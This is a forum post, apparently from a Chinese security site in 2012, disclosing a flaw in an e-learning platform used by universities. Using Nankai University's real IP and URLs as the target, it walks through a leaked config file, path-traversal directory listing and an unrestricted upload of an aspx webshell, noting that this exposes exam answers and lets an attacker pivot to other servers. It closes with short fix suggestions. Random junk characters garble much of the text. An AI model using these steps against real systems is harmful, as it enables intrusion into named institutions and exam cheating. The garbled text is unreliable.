找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2447|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
$ a7 T% r6 v9 v2 b  d4 E
& M- f& y6 q4 R% D详细说明:* B! C2 [: t% l; n: z4 D, `

! B8 K% m  l7 O3 ]9 Y$ ~, h4 F以南开大学的为例: / V- |& K4 I+ D, V' r0 P
http://222.30.60.3/NPELS
; g0 A. K, z$ B- G! d3 Y, }9 ?NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
& u7 c7 D1 ?% c2 v<setting name="Update_CommonSvr_CommonService" serializeAs="String">) S8 _6 p0 I0 F, b
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>- t" N3 H6 D& _# i! ?- J
</setting>$ u, H: c+ F& Q. t9 O# C
及版本号- l) D6 r  `3 x2 K4 n5 L
<add key="TVersion" value="1, 0, 0, 2187">
1 c& V- n  D3 e4 ], ?</add>9 f4 A$ ^( Y6 e- H4 u1 h% J1 h) _- N
直接访问% m1 `' h; p7 g3 r; u) o% l/ v
http://222.30.60.3/NPELS/CommonService.asmx
5 T( P" t3 z* X: T; `- Q4 M使用GetTestClientFileList操作,直接 HTTP GET 列目录:
0 O) @% o: U) {1 ^2 t0 ~http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
! `9 W* e0 k+ Q4 }7 c* Z) ~进一步列目录(返回的网页很大,可以直接 wget 下来)- w. }# A& B  s" R, _* M. s9 I
http://222.30.60.3/NPELS/CommonS ... List?version=../../& q2 S) i1 p8 Y) |

% Q: K2 E; e# Q发现
7 |/ [9 O# ?  x5 F& }1 Jhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm5 ]/ d; `  s4 j8 d
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头: O3 p  H& j  [8 I$ ^2 o
上传后继续列目录找到木马地址直接访问即可
( C4 v. ?8 H" e
) \* `: t( _. \4 D) A" F  @: {OOXX
3 \2 I+ e& @6 A+ C& E 0 `1 G/ J% ?( \% J( c0 K
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法) v' |# y4 U5 L! s* l# S
漏洞证明:
6 Q4 J; j- O/ X2 t/ w 5 \  p, L5 ]7 r7 U4 N1 a) y& L
列目录:
; X4 R) B, q4 d% x+ V& _http://222.30.60.3/NPELS/CommonS ... List?version=../../' |6 `* m. a  I, k$ Q- v: f
文件上传:, d, x% E; i6 o- l' N
http://222.30.60.3/npelsv/editor/editor.htm
* w6 w% s# \' g& D
5 Z9 w6 u& R. i% O2 U/ w上传木马:
  |9 U, m; C; p+ L, n; phttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
- L  n9 y% q* J6 P
+ A' d; |' b# u' Q( ?* J修复方案:+ C; B' o1 x* p
好像考试系统必须使用 CommonService.asmx8 r, B0 U/ z! v9 c/ C- D
最好配置文件加密或者用别的方式不让它泄露出来8 g3 v5 k( K! J* v5 K- N
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​$ W2 U: q; p- `% V& n# t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表